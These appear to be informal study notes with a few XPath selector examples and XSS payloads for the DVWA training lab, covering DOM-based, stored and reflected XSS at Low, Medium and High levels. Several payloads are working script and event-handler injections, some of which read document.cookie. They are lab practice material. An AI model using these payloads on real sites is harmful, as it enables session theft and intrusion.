**//\*[starts-with(@attribute, 'value')]**

**//\*[contains(@class, 'submit')]**

* **\*img,h1,h2**
* **@ will determine the id class src orr any other attribute**

**DOM Based Cross Site Scripting (XSS)**

1. **Low**

[http://localhost/DVWA-2.3/vulnerabilities/xss\_d/?default=<script>alert('XSS')</script](http://localhost/DVWA-2.3/vulnerabilities/xss_d/?default=%3cscript%3ealert('XSS')%3c/script)>

1. Medium

?default=<</select><img%20src='#'%20onclick=alert('Gotcha!!!')>

1. High

default=English&<script>alert(document.cookie)</script>

<https://medium.com/hacker-toolbelt/dvwa-1-9-xss-dom-ae1a29018f66>

**Vulnerability: Stored Cross Site Scripting (XSS)**

https://github.com/kashrathod19/XSS-DVWA-SOLUTION

**Low:**

<script>alert(document.domain)</script>

**Medium:**

Change the input lenght

<img src=x onerror=alert(document.cookie)>

**High:**

<body onload=alert('Bugbot19')>

**Reflected Cross Site Scripting (XSS)**

SAME FOR THE LOW HIGH MEDIUM

<svg onload=alert(1)>